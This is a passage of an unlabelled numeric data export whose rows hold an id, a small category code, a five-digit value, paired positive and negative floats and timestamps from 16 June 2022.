13:08:47.606697+00 +42111,1,11770,13.11174751,-13.11174751,2022-06-16 13:08:50.594575+00 +42112,1,11745,9.762048871,-9.762048871,2022-06-16 13:08:50.597973+00 +42113,1,11762,12.89952584,-12.89952584,2022-06-16 13:08:50.598837+00 +42114,1,11754,4.743880429,-4.743880429,2022-06-16 13:08:50.599603+00 +42115,1,11746,13.02760954,-13.02760954,2022-06-16 13:08:50.600365+00 +42116,1,11776,1.235414012,-1.235414012,2022-06-16 13:08:50.601104+00 +42117,1,11760,0.532958133,0,2022-06-16 13:08:50.601886+00 +42118,1,11738,12.73949096,-12.73949096,2022-06-16 13:08:50.602555+00 +43679,3,11963,6.895742311,-6.895742311,2022-06-16 13:15:59.380248+00 +42121,1,11747,20.75492652,-20.75492652,2022-06-16 13:08:53.598263+00 +43832,6,12061,6.096658984,-6.096658984,2022-06-16 13:16:29.18561+00 +49663,6,13183,3.666434166,-3.666434166,2022-06-16 13:50:22.483518+00 +42124,1,11768,6.964006868,-6.964006868,2022-06-16 13:08:56.598049+00 +42125,1,11756,14.43910034,-14.43910034,2022-06-16 13:08:56.601359+00 +42126,1,11764,14.41084059,-14.41084059,2022-06-16 13:08:56.60225+00 +42127,1,11772,14.37976471,-14.37976471,2022-06-16 13:08:56.603091+00 +42128,1,11740,14.34852648,-14.34852648,2022-06-16 13:08:56.603968+00 +42129,4,11769,12.22207518,-12.22207518,2022-06-16 13:09:00.473451+00 +42130,4,11753,12.19974582,-12.19974582,2022-06-16 13:09:00.477016+00 +49739,1,13105,5.623221959,-5.623221959,2022-06-16 13:50:56.792266+00 +49740,1,13097,5.101419065,-5.101419065,2022-06-16 13:50:56.795599+00 +49741,1,13081,5.158041249,-5.158041249,2022-06-16 13:50:56.796385+00 +46904,4,12504,8.311904582,-8.311904582,2022-06-16 13:35:05.441022+00 +46955,6,12586,6.033748986,-6.033748986,2022-06-16 13:35:25.073559+00 +53291,1,13717,10.58058567,-10.58058567,2022-06-16 14:09:20.847605+00 +44211,6,12091,2.970895635,-2.970895635,2022-06-16 13:18:18.721743+00 +47201,6,12717,1.203693628,-1.203693628,2022-06-16 13:36:38.402931+00 +47246,2,12718,3.572250334,-3.572250334,2022-06-16 13:37:05.236712+00 +53586,3,13823,6.206454311,-6.206454311,2022-06-16 14:12:03.971028+00 +57352,2,14431,7.562224221,-7.562224221,2022-06-16 14:31:05.613743+00 +50143,2,13214,7.476847648,-7.476847648,2022-06-16 13:53:05.441021+00 +44640,1,12121,6.091183534,-6.091183534,2022-06-16 13:20:41.705835+00 +44641,1,12145,6.519766215,-6.519766215,2022-06-16 13:20:41.709136+00 +44642,1,12153,6.004466012,-6.004466012,2022-06-16 13:20:41.710001+00 +44643,1,12137,6.000266108,-6.000266108,2022-06-16 13:20:41.71089+00 +42151,2,11760,1.729525754,0,2022-06-16 13:09:04.764967+00 +47537,3,12461,5.252117027,-5.252117027,2022-06-16 13:38:36.779793+00 +42156,2,11776,3.82007823,-3.82007823,2022-06-16 13:09:04.886307+00 +44904,3,11965,6.53698202,-6.53698202,2022-06-16 13:22:50.40377+00 +57628,6,14510,2.762729363,-2.762729363,2022-06-16 14:32:14.804725+00 +44977,4,12152,7.68997526,-7.68997526,2022-06-16 13:23:09.751298+00 +47602,2,12766,7.550957203,-7.550957203,2022-06-16 13:39:05.621084+00 +45046,6,12179,13.35020772,-13.35020772,2022-06-16 13:23:36.960637+00 +45075,6,12224,4.083162484,-4.083162484,2022-06-16 13:24:03.026423+00 +45076,6,12288,4.06445722,-4.06445722,2022-06-16 13:24:03.029831+00 +47603,2,12782,3.514916609,-3.514916609,2022-06-16 13:39:05.624492+00 +61203,2,14891,2.47371454,-2.47371454,2022-06-16 14:47:14.467877+00 +45149,4,12272,0.613616963,0,2022-06-16 13:24:10.502204+00 +45150,4,12288,1.314472796,-1.314472796,2022-06-16 13:24:10.503451+00 +42169,2,11822,4.302135558,-4.302135558,2022-06-16 13:09:05.252326+00 +45151,4,12350,2.313914039,-2.313914039,2022-06-16 13:24:10.50442+00 +45152,4,12334,2.959264806,-2.959264806,2022-06-16 13:24:10.505264+00 +45153,4,12318,6.122658582,-6.122658582,2022-06-16 13:24:10.506192+00 +45154,4,12343,10.42553771,-10.42553771,2022-06-16 13:24:10.506994+00 +45155,4,12342,11.08171683,-11.08171683,2022-06-16 13:24:10.507723+00 +45156,4,12335,2.747227099,-2.747227099,2022-06-16 13:24:10.508548+00 +42176,2,11823,4.312695365,-4.312695365,2022-06-16 13:09:05.427445+00 +45157,4,12311,13.52416155,-13.52416155,2022-06-16 13:24:10.509207+00 +45158,4,12310,14.16128781,-14.16128781,2022-06-16 13:24:10.509872+00 +45159,4,12319,6.072242521,-6.072242521,2022-06-16 13:24:10.510567+00 +45160,4,12351,2.11853254,-2.11853254,2022-06-16 13:24:10.511276+00 +42181,4,11737,12.28967424,-12.28967424,2022-06-16 13:09:06.497604+00 +42182,4,11761,12.93857047,-12.93857047,2022-06-16 13:09:06.500912+00 +50453,6,13203,12.73992758,-12.73992758,2022-06-16 13:54:29.296397+00 +45220,1,12257,9.957195085,-9.957195085,2022-06-16 13:24:20.630609+00 +45221,1,12273,6.381882426,-6.381882426,2022-06-16 13:24:20.634035+00 +42187,2,11839,3.356471408,-3.356471408,2022-06-16 13:09:09.58116+00 +45222,1,12265,5.878706476,-5.878706476,2022-06-16 13:24:20.634865+00 +45223,1,12281,5.871206718,-5.871206718,2022-06-16 13:24:20.635641+00 +45224,1,12249,5.937859203,-5.937859203,2022-06-16 13:24:20.636379+00 +45242,1,12275,12.55623681,-12.55623681,2022-06-16 13:24:23.631015+00 +45243,1,12309,12.15012702,-12.15012702,2022-06-16 13:24:23.632241+00 +45244,1,12251,6.316387742,-6.316387742,2022-06-16 13:24:23.632902+00 +45245,1,12252,13.33899908,-13.33899908,2022-06-16 13:24:23.633639+00 +45246,1,12267,2.042191939,-2.042191939,2022-06-16 13:24:23.63597+00 +42196,2,11771,4.550646951,-4.550646951,2022-06-16 13:09:14.495088+00 +57843,2,14464,3.237160183,-3.237160183,2022-06-16 14:33:05.380882+00 +57844,2,14441,9.480117129,-9.480117129,2022-06-16 14:33:05.384006+00 +57845,2,14442,2.265721423,-2.265721423,2022-06-16 14:33:05.384794+00 +45351,6,12074,6.513626868,-6.513626868,2022-06-16 13:25:25.386952+00 +42201,1,11736,7.680610814,-7.680610814,2022-06-16 13:09:14.596232+00 +42202,2,11755,5.20273628,-5.20273628,2022-06-16 13:09:14.615349+00 +59952,3,14831,5.59918925,-5.59918925,2022-06-16 14:42:06.750677+00 +42687,4,11825,12.83191794,-12.83191794,2022-06-16 13:11:07.611007+00 +52747,6,13611,2.489185338,-2.489185338,2022-06-16 14:06:32.003199+00 +49178,3,13054,7.691025423,-7.691025423,2022-06-16 13:48:04.805703+00 +42941,2,11885,4.434380981,-4.434380981,2022-06-16 13:12:19.415255+00 +42221,2,11818,4.580253261,-4.580253261,2022-06-16 13:09:20.592041+00 +60368,3,14762,3.871305074,-3.871305074,2022-06-16 14:43:59.332728+00 +53140,6,13726,9.509161598,-9.509161598,2022-06-16 14:08:45.343617+00 +46499,2,12272,1.795356225,0,2022-06-16 13:33:09.700185+00 +46500,2,12336,1.794521352,0,2022-06-16 13:33:09.703482+00 +46501,2,12400,1.793687376,0,2022-06-16 13:33:09.704299+00 +46502,2,12464,1.792854295,0,2022-06-16 13:33:09.705045+00 +46503,2,12528,1.792022107,0,2022-06-16 13:33:09.705785+00 +43680,6,11818,6.850174363,-6.850174363,2022-06-16 13:16:02.968722+00 +46504,2,12288,3.664191332,-3.664191332,2022-06-16 13:33:09.706496+00 +43840,6,12077,1.473231345,-1.473231345,2022-06-16 13:16:34.305649+00 +43869,4,11961,11.74938614,-11.74938614,2022-06-16 13:16:44.264163+00 +43870,4,12025,11.69652159,-11.69652159,2022-06-16 13:16:44.265514+00 +43871,4,11945,11.70538616,-11.70538616,2022-06-16 13:16:44.266371+00 +43872,4,12009,11.65286256,-11.65286256,2022-06-16 13:16:44.267244+00 +46505,2,12352,3.648809543,-3.648809543,2022-06-16 13:33:09.707379+00 +46506,2,12416,3.6334919,-3.6334919,2022-06-16 13:33:09.708013+00 +46507,2,12480,3.618237785,-3.618237785,2022-06-16 13:33:09.708639+00 +46508,2,12544,3.603046586,-3.603046586,2022-06-16 13:33:09.709236+00 +64561,3,15275,3.262693525,0,2022-06-16 14:59:02.915227+00 +49742,2,13081,12.30930796,-12.30930796,2022-06-16 13:50:59.406639+00 +57188,6,14447,3.044358734,-3.044358734,2022-06-16 14:30:24.405236+00 +44329,2,12096,3.701447413,-3.701447413,2022-06-16 13:19:04.963912+00 +53456,6,13805,0.729134884,-0.729134884,2022-06-16 14:10:42.554145+00 +50022,4,13131,13.63665305,-13.63665305,2022-06-16 13:52:23.461705+00 +50023,4,13147,4.189477304,-4.189477304,2022-06-16 13:52:23.465144+00 +50024,4,13163,1.042061414,-1.042061414,2022-06-16 13:52:23.46602+00 +44644,1,12181,12.25476565,-12.25476565,2022-06-16 13:20:44.701027+00 +47203,6,12733,1.522134,-1.522134,2022-06-16 13:36:40.451179+00 +50025,4,13171,8.865653058,-8.865653058,2022-06-16 13:52:23.467222+00 +50026,4,13179,0.964193586,-0.964193586,2022-06-16 13:52:23.468249+00 +44905,1,12216,6.661095067,-6.661095067,2022-06-16 13:22:50.657037+00 +44906,1,12116,13.97872948,-13.97872948,2022-06-16 13:22:50.660403+00 +44907,1,12184,7.339232462,-7.339232462,2022-06-16 13:22:50.661679+00 +44908,1,12180,13.91801974,-13.91801974,2022-06-16 13:22:50.662501+00 +53813,7,13802,4.529593523,-4.529593523,2022-06-16 14:13:10.879096+00 +47427,6,12720,2.007112759,0,2022-06-16 13:38:07.281293+00 +47456,4,12791,10.08978334,-10.08978334,2022-06-16 13:38:11.796361+00 +47457,4,12790,10.81468016,-10.81468016,2022-06-16 13:38:11.797579+00 +47458,4,12798,2.000127726,-2.000127726,2022-06-16 13:38:11.798345+00 +47459,4,12766,5.656617621,-5.656617621,2022-06-16 13:38:11.799165+00 +47460,4,12782,2.524902118,-2.524902118,2022-06-16 13:38:11.799911+00 +47461,4,12717,1.575467772,-1.575467772,2022-06-16 13:38:11.80071+00 +47462,4,12759,13.16173845,-13.16173845,2022-06-16 13:38:11.801391+00 +47463,4,12767,5.861399507,-5.861399507,2022-06-16 13:38:11.802051+00 +47464,4,12685,13.48849961,-13.48849961,2022-06-16 13:38:11.802755+00 +47465,4,12733,1.988180264,-1.988180264,2022-06-16 13:38:11.803436+00 +47466,4,12701,6.993902374,-6.993902374,2022-06-16 13:38:11.804092+00 +53924,4,13888,1.171236825,-1.171236825,2022-06-16 14:14:09.778338+00 +45416,1,12350,2.352003782,-2.352003782,2022-06-16 13:25:47.66396+00 +47500,1,12782,2.675668607,-2.675668607,2022-06-16 13:38:20.760175+00 +47501,1,12798,2.117391996,-2.117391996,2022-06-16 13:38:20.761274+00 +45520,4,12339,9.230241462,-9.230241462,2022-06-16 13:26:22.434771+00 +45521,4,12299,13.17028826,-13.17028826,2022-06-16 13:26:22.439066+00 +45548,6,12347,2.94846173,-2.94846173,2022-06-16 13:26:29.632991+00 +45558,6,12397,1.339172279,-1.339172279,2022-06-16 13:26:37.595693+00 +47502,1,12766,5.945356183,-5.945356183,2022-06-16 13:38:20.761935+00 +45582,1,12398,2.972414173,-2.972414173,2022-06-16 13:26:44.633496+00 +45583,1,12399,3.360101473,-3.360101473,2022-06-16 13:26:44.634716+00 +45601,1,12414,2.335216223,-2.335216223,2022-06-16 13:26:47.633745+00 +47538,1,12735,2.395206606,-2.395206606,2022-06-16 13:38:38.79894+00 +47539,1,12799,2.389725289,-2.389725289,2022-06-16 13:38:38.802933+00 +47540,1,12783,3.089932478,-3.089932478,2022-06-16 13:38:38.803927+00 +54061,2,13918,7.25728666,-7.25728666,2022-06-16 14:15:05.363132+00 +57846,2,14449,10.2209692,-10.2209692,2022-06-16 14:33:05.385604+00 +57847,2,14450,10.82822159,-10.82822159,2022-06-16 14:33:05.38639+00 +54528,6,13995,2.301860988,-2.301860988,2022-06-16 14:18:14.333471+00 +47856,1,12779,1.732567311,-1.732567311,2022-06-16 13:40:23.748246+00 +47897,6,12830,9.973589422,-9.973589422,2022-06-16 13:41:03.546441+00 +58123,6,14507,2.002371185,-2.002371185,2022-06-16 14:34:10.32242+00 +58154,4,14229,6.561726558,-6.561726558,2022-06-16 14:34:17.707142+00 +58155,4,14421,6.543685742,-6.543685742,2022-06-16 14:34:17.708212+00 +58156,4,14506,3.722784505,-3.722784505,2022-06-16 14:34:17.709013+00 +58213,1,14591,1.695064372,-1.695064372,2022-06-16 14:34:33.03009+00 +58214,1,14575,1.553595836,-1.553595836,2022-06-16 14:34:33.031359+00 +48091,3,12862,7.952461044,-7.952461044,2022-06-16 13:42:03.974678+00 +48092,3,12926,7.895200705,-7.895200705,2022-06-16 13:42:03.978147+00 +54986,1,14127,1.959227038,-1.959227038,2022-06-16 14:20:47.927269+00 +51106,1,13087,7.111150825,-7.111150825,2022-06-16 13:57:50.765889+00 +51107,1,13279,7.088682895,-7.088682895,2022-06-16 13:57:50.76691+00 +51108,1,13151,7.066326714,-7.066326714,2022-06-16 13:57:50.767556+00 +48190,6,12910,4.791457279,-4.791457279,2022-06-16 13:42:20.162037+00 +51109,1,13215,7.044081568,-7.044081568,2022-06-16 13:57:50.768197+00 +61639,4,14816,5.243835928,-5.243835928,2022-06-16 14:48:55.243241+00 +48232,6,12911,4.948605853,-4.948605853,2022-06-16 13:42:40.816686+00 +61689,2,15006,6.585873583,-6.585873583,2022-06-16 14:49:05.533968+00 +51162,3,13374,7.366453334,-7.366453334,2022-06-16 13:58:04.176929+00 +48278,6,12893,5.430727291,-5.430727291,2022-06-16 13:42:48.97504+00 +61735,2,14955,2.3010952,0,2022-06-16 14:49:14.454516+00 +45782,3,12411,6.619208435,-6.619208435,2022-06-16 13:28:08.756218+00 +49013,3,12976,2.698692019,0,2022-06-16 13:46:58.645675+00 +45920,6,12400,1.997282459,0,2022-06-16 13:29:04.135591+00 +56647,4,14382,1.55101925,-1.55101925,2022-06-16 14:28:10.7976+00 +46081,6,12493,11.37713701,-11.37713701,2022-06-16 13:30:17.026629+00 +56648,4,14366,4.892152393,-4.892152393,2022-06-16 14:28:10.801093+00 +52951,4,13609,8.80803409,-8.80803409,2022-06-16 14:07:46.979655+00 +49455,4,12888,8.127002649,-8.127002649,2022-06-16 13:49:06.000523+00 +49469,4,12952,8.103432845,-8.103432845,2022-06-16 13:49:14.43203+00 +52952,4,13593,8.882652034,-8.882652034,2022-06-16 14:07:46.982935+00 +56649,4,14398,1.422543514,-1.422543514,2022-06-16 14:28:10.801969+00 +56650,4,14383,1.492467955,-1.492467955,2022-06-16 14:28:10.802819+00 +43681,3,12094,8.795089148,-8.795089148,2022-06-16 13:16:03.834809+00 +56651,4,14399,1.349363819,-1.349363819,2022-06-16 14:28:10.803716+00 +56652,4,14367,5.124145378,-5.124145378,2022-06-16 14:28:10.804595+00 +43842,6,12093,1.723434579,-1.723434579,2022-06-16 13:16:36.195154+00 +56653,4,14317,0.690887617,0,2022-06-16 14:28:10.805525+00 +43912,2,12016,1.74419409,0,2022-06-16 13:17:04.935854+00 +53356,1,13821,3.175603246,-3.175603246,2022-06-16 14:10:08.817015+00 +53357,1,13805,1.562284988,-1.562284988,2022-06-16 14:10:08.820712+00 +44015,6,12032,4.16864373,-4.16864373,2022-06-16 13:17:20.156247+00 +64324,6,15291,1.518358784,0,2022-06-16 14:58:14.053346+00 +64360,4,15274,2.873812061,-2.873812061,2022-06-16 14:58:17.758712+00 +42237,3,11824,2.664311498,0,2022-06-16 13:09:24.59041+00 +53738,1,13820,11.76794121,-11.76794121,2022-06-16 14:12:56.901378+00 +53739,1,13804,12.03375495,-12.03375495,2022-06-16 14:12:56.904731+00 +50327,3,13310,7.421231138,-7.421231138,2022-06-16 13:54:04.393957+00 +44546,3,12144,2.65386933,0,2022-06-16 13:20:13.77099+00 +44547,3,12208,2.651792456,0,2022-06-16 13:20:13.774861+00 +44565,6,12206,5.649787119,-5.649787119,2022-06-16 13:20:19.168883+00 +50407,4,13077,8.252958993,-8.252958993,2022-06-16 13:54:15.24743+00 +47430,1,12781,2.298640605,-2.298640605,2022-06-16 13:38:08.767007+00 +44645,1,12122,12.08634257,-12.08634257,2022-06-16 13:20:47.676666+00 +44646,1,12129,9.887195813,-9.887195813,2022-06-16 13:20:47.680065+00 +44647,1,12146,12.22265116,-12.22265116,2022-06-16 13:20:47.680873+00 +44648,1,12160,1.126598295,-1.126598295,2022-06-16 13:20:47.681643+00 +44649,1,12138,4.122950624,-4.122950624,2022-06-16 13:20:47.682348+00 +44650,1,12131,20.61012026,-20.61012026,2022-06-16 13:20:47.683126+00 +44651,1,12130,12.37813378,-12.37813378,2022-06-16 13:20:47.683903+00 +44652,1,12147,12.63448077,-12.63448077,2022-06-16 13:20:47.68451+00 +44653,1,12144,0.514448799,0,2022-06-16 13:20:47.68511+00 +44654,1,12154,12.43428601,-12.43428601,2022-06-16 13:20:47.685696+00 +44655,1,12123,6.3536744,-6.3536744,2022-06-16 13:20:47.686265+00 +47431,1,12713,5.514516966,-5.514516966,2022-06-16 13:38:08.770276+00 +47432,1,12697,5.576042199,-5.576042199,2022-06-16 13:38:08.771118+00 +50408,4,13141,8.226992734,-8.226992734,2022-06-16 13:54:15.251823+00 +50409,4,13205,8.201153905,-8.201153905,2022-06-16 13:54:15.252819+00 +44845,6,12286,4.435751507,-4.435751507,2022-06-16 13:22:14.592148+00 +50416,4,13226,5.216185795,-5.216185795,2022-06-16 13:54:18.111144+00 +44909,4,12088,7.712003506,-7.712003506,2022-06-16 13:22:59.696741+00 +57355,2,14446,2.121157349,-2.121157349,2022-06-16 14:31:05.672248+00 +53925,4,13919,5.38936657,-5.38936657,2022-06-16 14:14:11.481692+00 +53926,4,13935,1.818503656,-1.818503656,2022-06-16 14:14:11.485221+00 +53927,4,13837,12.60146483,-12.60146483,2022-06-16 14:14:11.486565+00 +50600,6,13278,9.724396182,-9.724396182,2022-06-16 13:55:09.320973+00 +53928,4,13951,1.365733018,-1.365733018,2022-06-16 14:14:11.487598+00 +53929,4,13853,5.894733571,-5.894733571,2022-06-16 14:14:11.488632+00 +45181,6,12267,3.297851275,-3.297851275,2022-06-16 13:24:11.044687+00 +53930,4,13885,1.959657651,-1.959657651,2022-06-16 14:14:11.489527+00 +53959,4,13866,4.546077664,-4.546077664,2022-06-16 14:14:18.838261+00 +50752,3,13295,8.07262966,-8.07262966,2022-06-16 13:56:07.068014+00 +50753,3,13359,8.021157317,-8.021157317,2022-06-16 13:56:07.072805+00 +47922,7,12650,5.66344322,-5.66344322,2022-06-16 13:41:05.171233+00 +53997,6,13800,25.49524051,-25.49524051,2022-06-16 14:14:25.703159+00 +54118,2,13883,3.361261384,-3.361261384,2022-06-16 14:15:14.560654+00 +48005,2,12779,4.471374967,-4.471374967,2022-06-16 13:41:14.601222+00 +57715,1,14456,7.042232099,-7.042232099,2022-06-16 14:32:29.981956+00 +57716,1,14448,0.457139829,0,2022-06-16 14:32:29.986127+00 +48094,3,12863,7.100181935,-7.100181935,2022-06-16 13:42:04.009047+00 +51110,4,13297,10.08796165,-10.08796165,2022-06-16 13:57:55.038781+00 +51164,3,13375,6.466342716,-6.466342716,2022-06-16 13:58:04.211088+00 +48255,6,12848,2.023651302,0,2022-06-16 13:42:42.872077+00 +54702,6,13984,12.47546465,-12.47546465,2022-06-16 14:19:08.817477+00 +54746,6,13992,25.23033222,-25.23033222,2022-06-16 14:19:41.028488+00 +54753,4,13977,8.340145781,-8.340145781,2022-06-16 14:19:43.788202+00 +48312,6,12563,13.21701121,-13.21701121,2022-06-16 13:43:05.082811+00 +48313,6,12627,13.15984892,-13.15984892,2022-06-16 13:43:05.086194+00 +48314,6,12691,13.10300548,-13.10300548,2022-06-16 13:43:05.087075+00 +48316,6,12755,13.04647963,-13.04647963,2022-06-16 13:43:05.087878+00 +48317,6,12819,12.99027008,-12.99027008,2022-06-16 13:43:05.088943+00 +48337,2,12911,3.448455728,-3.448455728,2022-06-16 13:43:05.442149+00 +51267,2,13357,3.364246351,-3.364246351,2022-06-16 13:58:24.417273+00 +54754,4,13993,8.243951458,-8.243951458,2022-06-16 14:19:43.789508+00 +51338,6,13406,9.762723066,-9.762723066,2022-06-16 13:59:00.918477+00 +61521,6,14971,1.494403436,0,2022-06-16 14:48:19.636802+00 +55026,3,13866,4.925286632,-4.925286632,2022-06-16 14:21:02.956688+00 +55027,3,13930,4.901157049,-4.901157049,2022-06-16 14:21:02.95735+00 +55028,3,13994,4.877160775,-4.877160775,2022-06-16 14:21:02.957974+00 +42321,3,11755,8.132126233,-8.132126233,2022-06-16 13:09:55.175202+00 +55029,3,14058,4.853296506,-4.853296506,2022-06-16 14:21:02.958605+00 +55095,6,14080,3.220957512,-3.220957512,2022-06-16 14:21:12.130555+00 +48520,6,12990,3.756153157,-3.756153157,2022-06-16 13:44:13.304234+00 +48553,7,12848,10.8460288,0,2022-06-16 13:44:15.007415+00 +42331,3,11771,7.182163124,-7.182163124,2022-06-16 13:09:55.770047+00 +63976,2,15216,1.884114077,0,2022-06-16 14:57:05.936751+00 +45784,6,12461,1.332034421,-1.332034421,2022-06-16 13:28:09.557053+00 +49101,6,13055,3.758691579,-3.758691579,2022-06-16 13:47:17.948032+00 +56654,4,14285,12.3180773,-12.3180773,2022-06-16 14:28:13.15048+00 +46082,2,12522,3.933234429,-3.933234429,2022-06-16 13:30:17.378033+00 +56655,4,14301,5.540342434,-5.540342434,2022-06-16 14:28:13.154031+00 +56656,4,14333,1.832001181,-1.832001181,2022-06-16 14:28:13.155032+00 +46264,4,12475,1.146100307,-1.146100307,2022-06-16 13:31:22.346526+00 +60209,2,14763,2.735226755,-2.735226755,2022-06-16 14:43:14.452207+00 +43512,2,11999,8.271828541,-8.271828541,2022-06-16 13:15:04.93544+00 +46510,6,12574,10.26378164,-10.26378164,2022-06-16 13:33:13.266225+00 +64326,2,15031,14.8286337,-14.8286337,2022-06-16 14:58:14.352945+00 +53358,7,13610,4.648379342,-4.648379342,2022-06-16 14:10:09.188362+00 +46702,6,12621,11.32736963,-11.32736963,2022-06-16 13:34:08.444534+00 +43854,6,12062,10.60518302,-10.60518302,2022-06-16 13:16:41.452255+00 +46740,4,12586,6.048158166,-6.048158166,2022-06-16 13:34:16.949556+00 +46761,1,12577,10.02270443,-10.02270443,2022-06-16 13:34:26.687783+00 +46762,1,12569,5.664733204,-5.664733204,2022-06-16 13:34:26.68894+00 +46763,1,12593,6.065483618,-6.065483618,2022-06-16 13:34:26.689719+00 +46764,1,12585,5.586191699,-5.586191699,2022-06-16 13:34:26.69045+00 +53458,6,13821,1.555470358,-1.555470358,2022-06-16 14:10:44.480173+00 +64327,2,15273,8.236626336,-8.236626336,2022-06-16 14:58:14.3561+00 +60557,6,14878,8.484628073,-8.484628073,2022-06-16 14:44:38.214351+00 +46907,2,12670,2.875643107,-2.875643107,2022-06-16 13:35:05.51737+00 +44332,2,12126,7.879323935,-7.879323935,2022-06-16 13:19:05.023271+00 +53650,6,13819,2.2077925,-2.2077925,2022-06-16 14:12:11.198519+00 +50028,3,13163,6.158459127,-6.158459127,2022-06-16 13:52:23.500591+00 +44457,3,12159,8.092467944,-8.092467944,2022-06-16 13:20:04.162902+00 +50066,4,13139,6.053990506,-6.053990506,2022-06-16 13:52:31.371298+00 +53740,1,13809,5.018317095,-5.018317095,2022-06-16 14:12:59.898119+00 +53741,1,13801,4.555989989,-4.555989989,2022-06-16 14:12:59.901949+00 +53742,1,13785,4.605926041,-4.605926041,2022-06-16 14:12:59.902827+00 +53768,2,13809,11.47869655,-11.47869655,2022-06-16 14:13:04.921673+00 +44695,2,12160,3.677764184,-3.677764184,2022-06-16 13:21:05.244337+00 +44696,2,12206,4.000840593,-4.000840593,2022-06-16 13:21:05.247855+00 +60629,6,14895,2.379184606,-2.379184606,2022-06-16 14:44:57.462313+00 +42373,3,11886,10.81406764,-10.81406764,2022-06-16 13:10:05.625196+00 +60714,6,14879,9.531469179,-9.531469179,2022-06-16 14:45:06.568456+00 +53931,1,13934,1.90826428,-1.90826428,2022-06-16 14:14:11.867549+00 +53960,1,13883,1.089999111,-1.089999111,2022-06-16 14:14:20.870187+00 +44910,1,12270,3.052826384,-3.052826384,2022-06-16 13:23:02.655633+00 +47491,3,12715,6.799978157,-6.799978157,2022-06-16 13:38:15.168366+00 +53961,1,13867,1.191728255,-1.191728255,2022-06-16 14:14:20.871487+00 +53962,1,13935,2.190103301,-2.190103301,2022-06-16 14:14:20.872261+00 +54000,6,13909,5.819345986,-5.819345986,2022-06-16 14:14:27.207027+00 +50665,4,13048,7.395006992,-7.395006992,2022-06-16 13:55:40.607964+00 +42385,3,11887,10.46108286,-10.46108286,2022-06-16 13:10:05.815942+00 +50702,4,13233,10.20582821,-10.20582821,2022-06-16 13:55:56.185387+00 +57717,4,14419,5.31860286,-5.31860286,2022-06-16 14:32:30.028924+00 +42388,1,11819,2.38087021,-2.38087021,2022-06-16 13:10:08.595943+00 +42389,1,11835,2.052732569,-2.052732569,2022-06-16 13:10:08.599366+00 +42390,4,11840,1.411836867,-1.411836867,2022-06-16 13:10:10.341539+00 +42391,4,11886,3.444527531,-3.444527531,2022-06-16 13:10:10.344963+00 +42392,4,11870,6.550496818,-6.550496818,2022-06-16 13:10:10.34586+00 +42393,4,11902,2.724232316,-2.724232316,2022-06-16 13:10:10.346793+00 +42394,4,11824,0.613718015,0,2022-06-16 13:10:10.347636+00 +42395,4,11895,10.8858701,-10.8858701,2022-06-16 13:10:10.348426+00 +42396,4,11894,11.45412381,-11.45412381,2022-06-16 13:10:10.349371+00 +42397,1,11902,2.609006258,-2.609006258,2022-06-16 13:10:11.599793+00 +42398,1,11886,3.293756644,-3.293756644,2022-06-16 13:10:11.603077+00 +60848,3,14826,3.797202365,-3.797202365,2022-06-16 14:45:59.236687+00 +42400,6,11853,11.7929225,-11.7929225,2022-06-16 13:10:13.521354+00 +42401,4,11871,6.335749851,-6.335749851,2022-06-16 13:10:13.732869+00 +42402,4,11837,2.458693674,-2.458693674,2022-06-16 13:10:13.736229+00 +42403,4,11863,13.98078464,-13.98078464,2022-06-16 13:10:13.737342+00 +42404,4,11862,14.70730885,-14.70730885,2022-06-16 13:10:13.738187+00 +42405,4,11821,2.120270209,-2.120270209,2022-06-16 13:10:13.738997+00 +42406,4,11903,2.455895135,-2.455895135,2022-06-16 13:10:13.739771+00 +42407,4,11887,3.161758621,-3.161758621,2022-06-16 13:10:13.740574+00 +42408,4,11789,14.20127895,-14.20127895,2022-06-16 13:10:13.741278+00 +42409,4,11805,7.966401181,-7.966401181,2022-06-16 13:10:13.741982+00 +50758,4,13312,1.25273094,-1.25273094,2022-06-16 13:56:08.338298+00 +50759,4,13296,0.600148067,0,2022-06-16 13:56:08.339548+00 +54345,4,13816,8.172669683,-8.172669683,2022-06-16 14:17:03.86441+00 +60988,6,14959,2.350155413,-2.350155413,2022-06-16 14:46:20.530286+00 +45439,3,12351,7.811420255,-7.811420255,2022-06-16 13:26:04.11096+00 +58017,3,14418,22.49997635,-22.49997635,2022-06-16 14:34:02.354239+00 +42418,4,11797,10.16628473,-10.16628473,2022-06-16 13:10:15.030756+00 +42419,4,11818,6.894507636,-6.894507636,2022-06-16 13:10:16.282252+00 +45464,3,12347,6.68880813,-6.68880813,2022-06-16 13:26:07.503214+00 +45491,1,12323,20.45765898,-20.45765898,2022-06-16 13:26:17.634865+00 +45492,1,12336,0.50721977,0,2022-06-16 13:26:17.636041+00 +45493,1,12331,2.010026943,-2.010026943,2022-06-16 13:26:17.636802+00 +45494,1,12338,11.9495204,-11.9495204,2022-06-16 13:26:17.637565+00 +45495,1,12339,12.4510473,-12.4510473,2022-06-16 13:26:17.63835+00 +45496,1,12330,3.826457834,-3.826457834,2022-06-16 13:26:17.639143+00 +42427,6,11886,6.047174195,-6.047174195,2022-06-16 13:10:17.796249+00 +45497,1,12346,12.12492978,-12.12492978,2022-06-16 13:26:17.640135+00 +45498,1,12314,11.67335116,-11.67335116,2022-06-16 13:26:17.641282+00 +45499,1,12352,1.086665177,-1.086665177,2022-06-16 13:26:17.642112+00 +45500,1,12315,6.260950399,-6.260950399,2022-06-16 13:26:17.64357+00 +45501,1,12316,13.28124489,-13.28124489,2022-06-16 13:26:17.644347+00 +45524,4,12331,1.316783455,-1.316783455,2022-06-16 13:26:23.71368+00 +42434,6,11902,4.873655221,-4.873655221,2022-06-16 13:10:18.051951+00 +45525,4,12315,4.310177663,-4.310177663,2022-06-16 13:26:23.714587+00 +42436,6,11861,8.133842044,-8.133842044,2022-06-16 13:10:18.532745+00 +47966,6,12847,5.023197387,-5.023197387,2022-06-16 13:41:08.440338+00 +61063,4,14867,5.08888802,-5.08888802,2022-06-16 14:46:30.941522+00 +45589,4,12337,11.81108244,-11.81108244,2022-06-16 13:26:46.673515+00 +42441,2,11882,4.551520956,-4.551520956,2022-06-16 13:10:19.412257+00 +54608,6,13904,27.07516429,-27.07516429,2022-06-16 14:18:35.925401+00 +54747,6,13930,4.939255253,-4.939255253,2022-06-16 14:19:41.785408+00 +42446,2,11821,4.497473128,-4.497473128,2022-06-16 13:10:19.55278+00 +42447,2,11837,5.145313886,-5.145313886,2022-06-16 13:10:19.556103+00 +42449,6,11869,6.240539048,-6.240539048,2022-06-16 13:10:20.510138+00 +42450,1,11816,15.54582452,-15.54582452,2022-06-16 13:10:20.570679+00 +42451,4,11827,9.42330526,-9.42330526,2022-06-16 13:10:21.881992+00 +42452,4,11803,4.368462505,-4.368462505,2022-06-16 13:10:21.885463+00 